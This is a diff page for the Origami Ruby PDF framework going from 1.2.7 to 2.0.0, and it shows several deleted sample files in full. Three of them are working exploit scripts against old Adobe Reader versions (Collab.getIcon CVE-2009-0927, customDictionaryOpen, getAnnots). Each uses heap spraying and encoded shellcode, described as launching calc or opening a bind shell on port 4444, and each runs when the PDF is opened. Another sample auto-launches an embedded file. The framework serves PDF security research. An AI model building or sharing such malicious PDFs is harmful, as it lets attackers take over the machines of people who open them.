origami 1.2.7 → 2.0.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (162) hide show
  1. checksums.yaml +4 -4
  2. data/CHANGELOG.md +66 -0
  3. data/README.md +112 -0
  4. data/bin/config/pdfcop.conf.yml +232 -233
  5. data/bin/gui/about.rb +27 -37
  6. data/bin/gui/config.rb +108 -117
  7. data/bin/gui/file.rb +416 -365
  8. data/bin/gui/gtkhex.rb +1138 -1153
  9. data/bin/gui/hexview.rb +55 -57
  10. data/bin/gui/imgview.rb +48 -51
  11. data/bin/gui/menu.rb +388 -386
  12. data/bin/gui/properties.rb +114 -130
  13. data/bin/gui/signing.rb +571 -617
  14. data/bin/gui/textview.rb +77 -95
  15. data/bin/gui/treeview.rb +382 -387
  16. data/bin/gui/walker.rb +227 -232
  17. data/bin/gui/xrefs.rb +56 -60
  18. data/bin/pdf2pdfa +53 -57
  19. data/bin/pdf2ruby +212 -228
  20. data/bin/pdfcop +338 -348
  21. data/bin/pdfdecompress +58 -65
  22. data/bin/pdfdecrypt +56 -60
  23. data/bin/pdfencrypt +75 -80
  24. data/bin/pdfexplode +185 -182
  25. data/bin/pdfextract +201 -218
  26. data/bin/pdfmetadata +83 -82
  27. data/bin/pdfsh +4 -5
  28. data/bin/pdfwalker +1 -2
  29. data/bin/shell/.irbrc +45 -82
  30. data/bin/shell/console.rb +105 -130
  31. data/bin/shell/hexdump.rb +40 -64
  32. data/examples/README.md +34 -0
  33. data/examples/attachments/attachment.rb +38 -0
  34. data/examples/attachments/nested_document.rb +51 -0
  35. data/examples/encryption/encryption.rb +28 -0
  36. data/{samples/actions/triggerevents/trigger.rb → examples/events/events.rb} +13 -16
  37. data/examples/flash/flash.rb +37 -0
  38. data/{samples → examples}/flash/helloworld.swf +0 -0
  39. data/examples/forms/javascript.rb +54 -0
  40. data/examples/forms/xfa.rb +115 -0
  41. data/examples/javascript/hello_world.rb +22 -0
  42. data/examples/javascript/js_emulation.rb +54 -0
  43. data/examples/loop/goto.rb +32 -0
  44. data/examples/loop/named.rb +33 -0
  45. data/examples/signature/signature.rb +65 -0
  46. data/examples/uri/javascript.rb +56 -0
  47. data/examples/uri/open-uri.rb +21 -0
  48. data/examples/uri/submitform.rb +47 -0
  49. data/lib/origami.rb +29 -42
  50. data/lib/origami/3d.rb +350 -225
  51. data/lib/origami/acroform.rb +262 -288
  52. data/lib/origami/actions.rb +268 -288
  53. data/lib/origami/annotations.rb +697 -722
  54. data/lib/origami/array.rb +258 -184
  55. data/lib/origami/boolean.rb +74 -84
  56. data/lib/origami/catalog.rb +397 -434
  57. data/lib/origami/collections.rb +144 -0
  58. data/lib/origami/destinations.rb +233 -194
  59. data/lib/origami/dictionary.rb +253 -232
  60. data/lib/origami/encryption.rb +1274 -1243
  61. data/lib/origami/export.rb +232 -268
  62. data/lib/origami/extensions/fdf.rb +307 -220
  63. data/lib/origami/extensions/ppklite.rb +368 -435
  64. data/lib/origami/filespec.rb +197 -0
  65. data/lib/origami/filters.rb +301 -295
  66. data/lib/origami/filters/ascii.rb +177 -180
  67. data/lib/origami/filters/ccitt.rb +528 -535
  68. data/lib/origami/filters/crypt.rb +26 -35
  69. data/lib/origami/filters/dct.rb +46 -52
  70. data/lib/origami/filters/flate.rb +95 -94
  71. data/lib/origami/filters/jbig2.rb +49 -55
  72. data/lib/origami/filters/jpx.rb +38 -44
  73. data/lib/origami/filters/lzw.rb +189 -183
  74. data/lib/origami/filters/predictors.rb +221 -235
  75. data/lib/origami/filters/runlength.rb +103 -104
  76. data/lib/origami/font.rb +173 -186
  77. data/lib/origami/functions.rb +67 -81
  78. data/lib/origami/graphics.rb +25 -21
  79. data/lib/origami/graphics/colors.rb +178 -187
  80. data/lib/origami/graphics/instruction.rb +79 -85
  81. data/lib/origami/graphics/path.rb +142 -148
  82. data/lib/origami/graphics/patterns.rb +160 -167
  83. data/lib/origami/graphics/render.rb +43 -50
  84. data/lib/origami/graphics/state.rb +138 -153
  85. data/lib/origami/graphics/text.rb +188 -205
  86. data/lib/origami/graphics/xobject.rb +819 -815
  87. data/lib/origami/header.rb +63 -78
  88. data/lib/origami/javascript.rb +596 -597
  89. data/lib/origami/linearization.rb +285 -290
  90. data/lib/origami/metadata.rb +139 -148
  91. data/lib/origami/name.rb +112 -148
  92. data/lib/origami/null.rb +53 -62
  93. data/lib/origami/numeric.rb +162 -175
  94. data/lib/origami/obfuscation.rb +186 -174
  95. data/lib/origami/object.rb +593 -573
  96. data/lib/origami/outline.rb +42 -47
  97. data/lib/origami/outputintents.rb +73 -82
  98. data/lib/origami/page.rb +703 -592
  99. data/lib/origami/parser.rb +238 -290
  100. data/lib/origami/parsers/fdf.rb +41 -33
  101. data/lib/origami/parsers/pdf.rb +75 -95
  102. data/lib/origami/parsers/pdf/lazy.rb +137 -0
  103. data/lib/origami/parsers/pdf/linear.rb +64 -66
  104. data/lib/origami/parsers/ppklite.rb +34 -70
  105. data/lib/origami/pdf.rb +1030 -1005
  106. data/lib/origami/reference.rb +102 -102
  107. data/lib/origami/signature.rb +591 -609
  108. data/lib/origami/stream.rb +668 -551
  109. data/lib/origami/string.rb +397 -373
  110. data/lib/origami/template/patterns.rb +56 -0
  111. data/lib/origami/template/widgets.rb +151 -0
  112. data/lib/origami/trailer.rb +144 -158
  113. data/lib/origami/tree.rb +62 -0
  114. data/lib/origami/version.rb +23 -0
  115. data/lib/origami/webcapture.rb +88 -79
  116. data/lib/origami/xfa.rb +2863 -2882
  117. data/lib/origami/xreftable.rb +472 -384
  118. data/test/dataset/calc.pdf +85 -0
  119. data/test/dataset/crypto.pdf +82 -0
  120. data/test/dataset/empty.pdf +49 -0
  121. data/test/test_actions.rb +27 -0
  122. data/test/test_annotations.rb +90 -0
  123. data/test/test_pages.rb +31 -0
  124. data/test/test_pdf.rb +16 -0
  125. data/test/test_pdf_attachment.rb +34 -0
  126. data/test/test_pdf_create.rb +24 -0
  127. data/test/test_pdf_encrypt.rb +95 -0
  128. data/test/test_pdf_parse.rb +96 -0
  129. data/test/test_pdf_sign.rb +58 -0
  130. data/test/test_streams.rb +182 -0
  131. data/test/test_xrefs.rb +67 -0
  132. metadata +88 -58
  133. data/README +0 -67
  134. data/bin/pdf2graph +0 -121
  135. data/bin/pdfcocoon +0 -104
  136. data/lib/origami/file.rb +0 -233
  137. data/samples/README.txt +0 -45
  138. data/samples/actions/launch/calc.rb +0 -87
  139. data/samples/actions/launch/winparams.rb +0 -22
  140. data/samples/actions/loop/loopgoto.rb +0 -24
  141. data/samples/actions/loop/loopnamed.rb +0 -21
  142. data/samples/actions/named/named.rb +0 -31
  143. data/samples/actions/samba/smbrelay.rb +0 -26
  144. data/samples/actions/webbug/submitform.js +0 -26
  145. data/samples/actions/webbug/webbug-browser.rb +0 -68
  146. data/samples/actions/webbug/webbug-js.rb +0 -67
  147. data/samples/actions/webbug/webbug-reader.rb +0 -90
  148. data/samples/attachments/attach.rb +0 -40
  149. data/samples/attachments/attached.txt +0 -1
  150. data/samples/crypto/crypto.rb +0 -28
  151. data/samples/digsig/signed.rb +0 -46
  152. data/samples/exploits/cve-2008-2992-utilprintf.rb +0 -87
  153. data/samples/exploits/cve-2009-0927-geticon.rb +0 -65
  154. data/samples/exploits/exploit_customdictopen.rb +0 -55
  155. data/samples/exploits/getannots.rb +0 -69
  156. data/samples/flash/flash.rb +0 -31
  157. data/samples/javascript/attached.txt +0 -1
  158. data/samples/javascript/js.rb +0 -52
  159. data/templates/patterns.rb +0 -66
  160. data/templates/widgets.rb +0 -173
  161. data/templates/xdp.rb +0 -92
  162. data/test/ts_pdf.rb +0 -50
@@ -1,65 +0,0 @@
1
- #!/usr/bin/env ruby
2
-
3
- #
4
- # References:
5
- # CVE 2009-0927
6
- # http://www.securityfocus.com/bid/34169
7
- # http://www.zerodayinitiative.com/advisories/ZDI-09-014/
8
- #
9
- #�Vulnerable: Adobe Reader and Adobe Acrobat Professional < 8.1.4
10
- #
11
- # This exploit / PoC spawns a calc on Windows.
12
- #
13
- #
14
-
15
- begin
16
- require 'origami'
17
- rescue LoadError
18
- ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
19
- $: << ORIGAMIDIR
20
- require 'origami'
21
- end
22
- include Origami
23
-
24
- pdf = PDF.read(ARGV[0])
25
-
26
- jscript = %Q|
27
- function spary() {
28
- var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98\
29
- bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0\
30
- ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8\
31
- c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
32
-
33
- //shellcode = unescape("%u7dbf%uca55%u2ba7%udbc9%ub1d3%ud914%u2474%u5bf4%ueb83%u31fc%u0e7b%u7b03%u9f0e%ufba0%ua87c%uafa8%u05c1%u5245%u484f%u3429%u0a82%ue711%u624e%u1559%u2e7e%u0acf%u9ed1%uca86%u78bb%uc1c1%u0dbc%uddb0%u090f%ub883%u91a2%uf4a0%u5c5b%u66a6%u34fa%ud098%u4830%u99af%u2032%u751f%ud8b0%ua637%u7154%u31a6%ud17b%ucb65%u619d%u0682%u41dd");
34
-
35
- garbage = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u90\
36
- 90%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u90\
37
- 90%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u90\
38
- 90%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u90\
39
- 90%u9090%u9090%u9090") + shellcode;
40
- nopblock = unescape("%u9090%u9090");
41
- headersize = 10;
42
- acl = headersize+garbage.length;
43
- while (nopblock.length<acl) nopblock+=nopblock;
44
- fillblock = nopblock.substring(0, acl);
45
- block = nopblock.substring(0, nopblock.length-acl);
46
- while(block.length+acl<0x40000) block = block+block+fillblock;
47
- memory = new Array();
48
- for (i=0;i<180;i++) memory[i] = block + garbage;
49
- var buffersize = 4012;
50
- var buffer = Array(buffersize);
51
- for (i=0; i<buffersize; i++)
52
- {
53
- buffer[i] = unescape("%0a%0a%0a%0a");
54
- }
55
-
56
- Collab.getIcon(buffer+'_N.bundle');
57
- }
58
- spary();
59
- |
60
-
61
- exploit = Action::JavaScript Stream.new(jscript).setFilter([:FlateDecode, :ASCII85Decode, :RunLengthDecode])
62
- pdf.pages.first.onOpen( exploit )
63
-
64
- pdf.save("#{File.basename($0, '.rb')}.pdf")
65
-
@@ -1,55 +0,0 @@
1
- #!/usr/bin/env ruby
2
-
3
- begin
4
- require 'origami'
5
- rescue LoadError
6
- ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
7
- $: << ORIGAMIDIR
8
- require 'origami'
9
- end
10
- include Origami
11
-
12
- pdf = PDF.read(ARGV[0])
13
-
14
- jscript = %Q|
15
- //##############
16
- //Exploit made by Arr1val
17
- //Proved in adobe 9.1 and adobe 8.1.4 on linux
18
- //##############
19
-
20
- app.alert('start heap spray...');
21
-
22
- var memory;
23
- var nop = unescape("%u9090%u9090");
24
- var shellcode = unescape( "%uc92b%ue983%ud9eb%ud9ee%u2474%u5bf4%u7381%u1313%u2989%u8357%ufceb%uf4e2%u5222%u147a%ue340%u3d2b%ud175%udeb0%u44f2%uc1a9%udb50%u3f4f%ud502%u044f%u689a%u3143%ud94b%u0178%u689a%ud7e4%uefa3%ub4f8%u09de%u057b%uca45%ub6a0%uefa3%ud7e4%ue380%u0e2b%ub6a3%ud7e4%uf05a%ue7d0%udb18%u7841%ufa3c%u3f41%ueb3c%u3940%u6a9a%u047b%u689a%ud7e4"); //linux bind shell at port 4444
25
-
26
- while(nop.length <= 0x10000/2) {
27
- nop += nop;
28
- }
29
-
30
- nop = nop.substring(0,0x10000/2 - shellcode.length);
31
-
32
- memory = new Array();
33
- for (i=0; i<0x6ff0; i++) {
34
- memory[i] = nop + shellcode;
35
- }
36
-
37
- //start exploit now
38
- start();
39
-
40
- function start()
41
- {
42
- this.spell.customDictionaryOpen(0,nop);//so the exploit jumps actually to 0x90909090. Place a very long 'AAAA' at the second param to go to 0x41414141
43
- }
44
-
45
- //############################
46
-
47
- //# milw0rm.com [2009-04-29]
48
- |
49
-
50
- #exploit = Action::JavaScript Stream.new(jscript).setFilter([:FlateDecode, :ASCII85Decode, :RunLengthDecode])
51
- exploit = Action::JavaScript Stream.new(jscript)
52
- pdf.onDocumentOpen( exploit )
53
-
54
- pdf.save("#{File.basename($0, '.rb')}.pdf")
55
-
@@ -1,69 +0,0 @@
1
- #!/usr/bin/env ruby
2
-
3
- begin
4
- require 'origami'
5
- rescue LoadError
6
- ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
7
- $: << ORIGAMIDIR
8
- require 'origami'
9
- end
10
- include Origami
11
-
12
- pdf = PDF.read(ARGV[0])
13
-
14
- jscript = %Q|
15
- //##############
16
- //Exploit made by Arr1val
17
- //Proved in adobe 9.1 and adobe 8.1.4 on linux
18
- //
19
- //Steps:
20
- //- create a pdf with an annotation (a note) (i used an annotation with a very long AAAAA name, but that might be omitted)
21
- //- attach the following script to the OpenAction of the pdf.
22
- //##############
23
-
24
- app.alert('start heap spray...');
25
-
26
-
27
- var memory;
28
- var nop = unescape("%u9090%u9090"); //long nop will also force the address to go to 0x90909090 so 2 steps in one
29
- var shellcode = unescape( "%uc92b%ue983%ud9eb%ud9ee%u2474%u5bf4%u7381%u1313%u2989%u8357%ufceb%uf4e2%u5222%u147a%ue340%u3d2b%ud175%udeb0%u44f2%uc1a9%udb50%u3f4f%ud502%u044f%u689a%u3143%ud94b%u0178%u689a%ud7e4%uefa3%ub4f8%u09de%u057b%uca45%ub6a0%uefa3%ud7e4%ue380%u0e2b%ub6a3%ud7e4%uf05a%ue7d0%udb18%u7841%ufa3c%u3f41%ueb3c%u3940%u6a9a%u047b%u689a%ud7e4"); //linux bind shell at port 4444
30
-
31
- while(nop.length <= 0x100000/2) {
32
- nop += nop;
33
- }
34
-
35
- nop = nop.substring(0,0x100000/2 - shellcode.length);
36
-
37
- memory = new Array();
38
- for(i=0; i<0x3; i++) { //we should at least overwrite 0x90909090
39
- memory[i] = nop + shellcode;
40
- }
41
-
42
-
43
- //start exploit now
44
- start();
45
-
46
- function start()
47
- {
48
- // this.getAnnots(-134217728,-134217728,-134217728,-134217728);
49
- app.alert("boom?");
50
- this.getAnnots(-134217728,-134217729,-134217730,-134217731); //get control on EDI
51
- }
52
-
53
-
54
- //# milw0rm.com [2009-04-29]
55
- |
56
-
57
- #exploit = Action::JavaScript.new(Stream.new(jscript).setFilter([:FlateDecode, :ASCII85Decode, :RunLengthDecode]))
58
- exploit = Action::JavaScript Stream.new(jscript)
59
- pdf.onDocumentOpen( exploit )
60
-
61
-
62
- annot = Annotation::Text.new
63
- annot.Contents = "Hello world"
64
- annot.Rect = [ 512, 512, 660, 606]
65
- annot.F = Annotation::Flags::HIDDEN
66
- pdf.pages[0].add_annot( annot )
67
-
68
- pdf.save("#{File.basename($0, '.rb')}.pdf")
69
-
@@ -1,31 +0,0 @@
1
- #!/usr/bin/env ruby
2
-
3
- begin
4
- require 'origami'
5
- rescue LoadError
6
- ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
7
- $: << ORIGAMIDIR
8
- require 'origami'
9
- end
10
- include Origami
11
-
12
- INPUTFILE = "helloworld.swf"
13
- OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
14
-
15
- puts "Now generating a new PDF file from scratch!"
16
-
17
- # Creating a new file
18
- pdf = PDF.new.append_page(page = Page.new)
19
-
20
- # Embedding the SWF file into the PDF.
21
- swf = pdf.attach_file(INPUTFILE)
22
-
23
- # Creating a Flash annotation on the page.
24
- annot = page.add_flash_application(swf, :windowed => true, :navigation_pane => true, :toolbar => true)
25
-
26
- # Setting the player position on the page.
27
- annot.Rect = Rectangle.new(204, 573, 403, 718)
28
-
29
- pdf.save(OUTPUTFILE)
30
-
31
- puts "PDF file saved as #{OUTPUTFILE}."
@@ -1 +0,0 @@
1
- ***THIS IS THE EMBEDDED FILE***
@@ -1,52 +0,0 @@
1
- #!/usr/bin/env ruby
2
-
3
- begin
4
- require 'origami'
5
- rescue LoadError
6
- ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
7
- $: << ORIGAMIDIR
8
- require 'origami'
9
- end
10
- include Origami
11
-
12
- if defined?(PDF::JavaScript::Engine)
13
-
14
- INPUTFILE = "attached.txt"
15
-
16
- # Creating a new file
17
- pdf = PDF.new
18
-
19
- # Embedding the file into the PDF.
20
- pdf.attach_file(INPUTFILE,
21
- :EmbeddedName => "README.txt",
22
- :Filter => :ASCIIHexDecode
23
- )
24
-
25
- # Example of JS payload
26
- pdf.onDocumentOpen Action::JavaScript <<-JS
27
- if ( app.viewerVersion == 8 )
28
- eval("this.exportDataObject({cName:'README.txt', nLaunch:2});");
29
- this.closeDoc();
30
- JS
31
-
32
-
33
- # Tweaking the engine options
34
- pdf.js_engine.options[:log_method_calls] = true
35
- pdf.js_engine.options[:viewerVersion] = 8
36
-
37
- # Hooking eval()
38
- pdf.js_engine.hook 'eval' do |eval, expr|
39
- puts "Hook: eval(#{expr.inspect})"
40
- eval.call(expr) # calling the real eval method
41
- end
42
-
43
- # Example of inline JS evaluation
44
- pdf.eval_js 'console.println(util.stringFromStream(this.getDataObjectContents("README.txt")))'
45
-
46
- # Executes the string as a JS script
47
- pdf.Catalog.OpenAction[:JS].eval_js
48
-
49
- else
50
- puts "JavaScript support not found. You need to install therubyracer gem."
51
- end
52
-
@@ -1,66 +0,0 @@
1
- =begin
2
-
3
- = File
4
- patterns.rb
5
-
6
- = Info
7
- This file is part of Origami, PDF manipulation framework for Ruby
8
- Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
9
- All right reserved.
10
-
11
- Origami is free software: you can redistribute it and/or modify
12
- it under the terms of the GNU Lesser General Public License as published by
13
- the Free Software Foundation, either version 3 of the License, or
14
- (at your option) any later version.
15
-
16
- Origami is distributed in the hope that it will be useful,
17
- but WITHOUT ANY WARRANTY; without even the implied warranty of
18
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
19
- GNU Lesser General Public License for more details.
20
-
21
- You should have received a copy of the GNU Lesser General Public License
22
- along with Origami. If not, see <http://www.gnu.org/licenses/>.
23
-
24
- =end
25
-
26
- module Origami
27
-
28
- module Template
29
-
30
- class AxialGradient < Graphics::Pattern::Shading::Axial
31
-
32
- def initialize(from, to, color0, color1, coeff = 1)
33
- super()
34
-
35
- set_indirect(true)
36
-
37
- x, y = from
38
- tx, ty = to
39
-
40
- c0 = Graphics::Color.to_a(color0)
41
- c1 = Graphics::Color.to_a(color1)
42
-
43
- space =
44
- case c0.size
45
- when 1 then Graphics::Color::Space::DEVICE_GRAY
46
- when 3 then Graphics::Color::Space::DEVICE_RGB
47
- when 4 then Graphics::Color::Space::DEVICE_CMYK
48
- end
49
-
50
- f = Function::Exponential.new
51
- f.Domain = [ 0.0, 1.0 ]
52
- f.N = coeff
53
- f.C0, f.C1 = c0, c1
54
-
55
- self.ColorSpace = space
56
- self.Coords = [ x, y, tx, ty ]
57
- self.Function = f
58
- self.Extend = [ true, true ]
59
-
60
- end
61
-
62
- end
63
-
64
- end
65
-
66
- end
@@ -1,173 +0,0 @@
1
- =begin
2
-
3
- = File
4
- widgets.rb
5
-
6
- = Info
7
- This file is part of Origami, PDF manipulation framework for Ruby
8
- Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
9
- All right reserved.
10
-
11
- Origami is free software: you can redistribute it and/or modify
12
- it under the terms of the GNU Lesser General Public License as published by
13
- the Free Software Foundation, either version 3 of the License, or
14
- (at your option) any later version.
15
-
16
- Origami is distributed in the hope that it will be useful,
17
- but WITHOUT ANY WARRANTY; without even the implied warranty of
18
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
19
- GNU Lesser General Public License for more details.
20
-
21
- You should have received a copy of the GNU Lesser General Public License
22
- along with Origami. If not, see <http://www.gnu.org/licenses/>.
23
-
24
- =end
25
-
26
- module Origami
27
-
28
- module Template
29
-
30
- class Button < Annotation::Widget::PushButton
31
-
32
- def initialize(x,y,width,height, caption, id = nil)
33
- super()
34
-
35
- set_indirect(true)
36
-
37
- self.H = Annotation::Widget::Highlight::INVERT
38
- self.Rect = [ x, y, x+width, y+height ]
39
- self.F = Annotation::Flags::PRINT
40
- self.T = id
41
-
42
- appstm = Annotation::AppearanceStream.new.setFilter(:FlateDecode)
43
- appstm.BBox = [ 0, 0, width, height ]
44
- appstm.Matrix = [ 1, 0, 0, 1, 0, 0 ]
45
-
46
- appstm.draw_rectangle(0, 0, width, height,
47
- :fill => true, :stroke => false, :fill_color => Graphics::Color::RGB.new(0xE6, 0xE6, 0xFA))
48
-
49
- appstm.draw_polygon([[1,1],[1,height-1],[width-1,height-1],[width-2,height-2],[2,height-2],[2,2]],
50
- :fill => true, :stroke => false, :fill_color => Graphics::Color::GrayScale.new(1.0))
51
-
52
- appstm.draw_polygon([[width-1,height-1],[width-1,1],[1,1],[2,2],[width-2,2],[width-2,height-2]],
53
- :fill => true, :stroke => false, :fill_color => Graphics::Color::RGB.new(130, 130, 130))
54
-
55
- appstm.draw_rectangle(0.5, 0.5, width-1, height-1,
56
- :fill => false, :stroke => true, :stroke_color => Graphics::Color::GrayScale.new(0.0))
57
-
58
- text_width = 4.75 * caption.length
59
- appstm.write(caption,
60
- :x => (width - text_width)/2, :y => height/2-5, :size => 10)
61
-
62
- appstm.Resources = Resources.new
63
- set_normal_appearance(appstm)
64
- end
65
-
66
- end
67
-
68
- class Edit < Annotation::Widget::Text
69
-
70
- def initialize(x,y,width,height, id)
71
- super()
72
-
73
- set_indirect(true)
74
-
75
- self.Rect = [ x, y, x+width, y+height ]
76
- self.F = Annotation::Flags::PRINT
77
- self.T = id
78
- self.DA = '/F1 12 Tf 0 g'
79
-
80
- appstm = Annotation::AppearanceStream.new.setFilter(:FlateDecode)
81
- appstm.BBox = [ 0, 0, width, height ]
82
- appstm.Matrix = [ 1, 0, 0, 1, 0, 0 ]
83
-
84
- appstm.draw_rectangle(0, 0, width, height,
85
- :fill => false, :stroke => true, :stroke_color => Graphics::Color::GrayScale.new(0.0))
86
-
87
- appstm.draw_polygon([[1,1],[1,height-1],[width-1,height-1],[width-2,height-2],[2,height-2],[2,2]],
88
- :fill => true, :stroke => false, :fill_color => Graphics::Color::RGB.new(130, 130, 130))
89
-
90
- appstm.draw_polygon([[width-1,height-1],[width-1,1],[1,1],[2,2],[width-2,2],[width-2,height-2]],
91
- :fill => true, :stroke => false, :fill_color => Graphics::Color::GrayScale.new(1.0))
92
-
93
- appstm.draw_rectangle(0.5, 0.5, width-1, height-1,
94
- :fill => false, :stroke => true, :stroke_color => Graphics::Color::GrayScale.new(0.0))
95
-
96
- set_normal_appearance(appstm)
97
- end
98
-
99
- end
100
-
101
- class MultiLineEdit < Edit
102
-
103
- def initialize(x,y,width,height, id)
104
-
105
- super(x,y,width,height,id)
106
-
107
- self.Ff ||= 0
108
- self.Ff |= Annotation::Widget::Text::Flags::MULTILINE
109
- end
110
-
111
- end
112
-
113
- class RichTextEdit < MultiLineEdit
114
-
115
- def initialize(x,y,width,height, id)
116
-
117
- super(x,y,width,height,id)
118
-
119
- self.F |= Annotation::Flags::READONLY
120
- self.Ff |= (Annotation::Widget::Text::Flags::RICHTEXT | Field::Flags::READONLY)
121
- end
122
-
123
- end
124
-
125
- class PasswordEdit < Edit
126
-
127
- def initialize(x,y,width,height, id)
128
-
129
- super(x,y,width,height,id)
130
-
131
- self.Ff ||= 0
132
- self.Ff |= Annotation::Widget::Text::Flags::PASSWORD
133
-
134
- end
135
-
136
- end
137
-
138
- class TextPanel < Annotation::FreeText
139
-
140
- def initialize(x,y,width,height, id)
141
- super()
142
-
143
- set_indirect(true)
144
-
145
- self.Rect = [ x, y, x+width, y+height ]
146
- self.F = Annotation::Flags::PRINT
147
- self.NM = id
148
- self.DA = '/F1 12 Tf 0 g'
149
-
150
- appstm = Annotation::AppearanceStream.new.setFilter(:FlateDecode)
151
- appstm.BBox = [ 0, 0, width, height ]
152
- appstm.Matrix = [ 1, 0, 0, 1, 0, 0 ]
153
-
154
- appstm.draw_rectangle(0, 0, width, height,
155
- :fill => false, :stroke => true, :stroke_color => Graphics::Color::GrayScale.new(0.0))
156
-
157
- appstm.draw_polygon([[1,1],[1,height-1],[width-1,height-1],[width-2,height-2],[2,height-2],[2,2]],
158
- :fill => true, :stroke => false, :fill_color => Graphics::Color::RGB.new(130, 130, 130))
159
-
160
- appstm.draw_polygon([[width-1,height-1],[width-1,1],[1,1],[2,2],[width-2,2],[width-2,height-2]],
161
- :fill => true, :stroke => false, :fill_color => Graphics::Color::GrayScale.new(1.0))
162
-
163
- appstm.draw_rectangle(0.5, 0.5, width-1, height-1,
164
- :fill => false, :stroke => true, :stroke_color => Graphics::Color::GrayScale.new(0.0))
165
-
166
- set_normal_appearance(appstm)
167
- end
168
-
169
- end
170
-
171
- end
172
-
173
- end